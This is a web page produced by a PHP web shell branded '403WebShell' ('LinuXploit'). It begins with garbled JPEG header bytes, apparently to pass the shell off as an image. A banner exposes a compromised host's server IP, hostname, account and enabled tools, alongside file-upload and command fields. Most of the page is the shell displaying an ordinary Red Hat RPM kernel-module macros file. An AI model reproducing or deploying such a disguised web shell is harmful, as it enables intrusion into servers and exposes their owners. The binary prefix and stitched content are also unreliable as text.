JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 153.92.12.133  /  Your IP : 216.73.217.80
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/rpm/macros.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/rpm/macros.d/macros.kmp
# Use these macros to differentiate between RH and other KMP implementation(s).
redhat_kernel_module_package	1
kernel_module_package_release	1

redhat_kmp_has_post_hooks	1

%__brp_kmod_set_exec_bit  /usr/lib/rpm/redhat/brp-kmod-set-exec-bit
%__brp_kmod_restore_perms /usr/lib/rpm/redhat/brp-kmod-restore-perms

%__kmod_brps_added 0

#kernel_module_package [ -n name ] [ -v version ] [ -r release ] [ -s script ]
#                      [ -f filelist] [ -x ] [ -p preamble ] flavor flavor ...

%kernel_module_package_buildreqs	%global kmodtool_generate_buildreqs 1 \
					kernel-devel kernel-abi-stablelists redhat-rpm-config kernel-rpm-macros elfutils-libelf-devel kmod

%kernel_module_package(n:v:r:s:f:xp:) %{expand:%( \
	## An ugly hack: we want kmods to be processed by find-debuginfo,
	## but it processes only files with executable permission set.
	## It is important now since, as of now, if debuginfo package
	## is enabled (and it is enabled), there's an RPM build error
	## as a result of lack of ether absence or emptiness of
	## debugsourcefiles.list (which is likely a bug in RPM, but it looks
	## like that there's no obvious fix and apparently no one have
	## any issues with this).
	## In order to minimise intrusiveness, usually (in Red Hat-built kmod
	## RPMs) *.ko files just have executable permission being set as a part
	## of %build section. There are two caveats with kmp, however:
	##  * We have no control over %build section itself (and it wasn't
	##    required previously)
	##  * Changing the criteria used in find-debuginfo.sh/brp-strip
	##    for selecting files that have to undergo debug section separation
	##    may introduce regression.
	## As a result, we insert additional hooks in __spec_install_post
	## (__brp_kmod_set_exec_bit in the beginning and
	## __brp_kmod_restore_perms in the end) that (temporarily) set
	## executable permission for *.ko files so find-debuginfo.sh will pick
	## them up.
	## Unfortunately, __spec_install_post's body is copied here since
	## we want that __debug_package macro expansion has been performed
	## lazily and  it looks like RPM has no ability to provide a body
	## of a macro verbatim.
	if [ 0 = "%{__kmod_brps_added}" ]; then \
		echo "%%global __spec_install_post \\\\" \
		echo "	%%{?__brp_kmod_set_exec_bit} \\\\" \
		echo "	%%%%{?__debug_package:%%%%{__debug_install_post}} \\\\" \
		echo "	%%{__arch_install_post} \\\\" \
		echo "	%%{__os_install_post} \\\\" \
		echo "	%%{?__brp_kmod_pre_sign_process} \\\\" \
		echo "	%%{?__brp_kmod_sign} \\\\" \
		echo "	%%{?__brp_kmod_post_sign_process} \\\\" \
		echo "	%%{?__brp_kmod_compress} \\\\" \
		echo "	%%{?__brp_kmod_post_compress_process} \\\\" \
		echo "	%%{?__brp_kmod_restore_perms} \\\\" \
		echo "%%{nil}" \
	fi \
	%global __kmod_brps_added 1 \
	%global kmodtool %{-s*}%{!-s:/usr/lib/rpm/redhat/kmodtool} \
	%global kmod_version %{-v*}%{!-v:%{version}} \
	%global kmod_release %{-r*}%{!-r:%{release}} \
	%global latest_kernel %({ rpm -q --qf '%%{VERSION}-%%{RELEASE}.%%{ARCH}\\\\n' kernel-rt-devel kernel-aarch64-devel kernel-devel | grep -v 'is not installed' | /usr/lib/rpm/redhat/rpmsort -r | head -n 1; echo '%%%%{nil}'; } | head -n 1) \
	%{!?kernel_version:%{expand:%%global kernel_version %{latest_kernel}}} \
	%global kverrel %(%{kmodtool} verrel %{?kernel_version} 2>/dev/null) \
	flavors="default" \
	if [ -z "%*" ]; then \
		flavors_to_build=$flavors \
	elif [ -z "%{-x}" ]; then \
		flavors_to_build="%*" \
	else \
		flavors_to_build=" $flavors "\
		for i in %* \
		do \
			flavors_to_build=${flavors_to_build//$i /}
		done \
	fi \
	echo "%%global flavors_to_build ${flavors_to_build:-%%nil}" \
	echo "%%global kernel_source() \\\$([ default = \"%%%%{1}\" ] && echo \"/usr/src/kernels//%%%%kverrel\" || %{kmodtool} kernel_source \"%%%%{kverrel}\" \"%%%%{1}\" 2>/dev/null || { ls -Ud \"/usr/src/kernels///%%%%{kverrel}\"[.+]\"%%%%{1}\" | sort -V | tail -n 1; } || echo \"/usr/src/kernels////%%%%kverrel.%%%%1\")" \
	echo "%%global kernel_module_package_moddir() extra" \
	if [ ! -z "%{-f*}" ] \
	then \
		filelist="%{-f*}" \
	fi \
	if [ ! -z "%{-p*}" ] \
	then \
		preamble="%{-p*}" \
	fi \
	nobuildreqs="yes" \
	if [ "x%{kmodtool_generate_buildreqs}" != "x1" ] \
	then \
		nobuildreqs="no" \
	fi \
	override_filelist="$filelist" override_preamble="$preamble" nobuildreqs="$nobuildreqs" kmod_version=%kmod_version kmod_release=%kmod_release %{kmodtool} rpmtemplate %{-n*}%{!-n:%name} %{kverrel} $flavors_to_build 2>/dev/null \
)}

Youez - 2016 - github.com/yon3zu
LinuXploit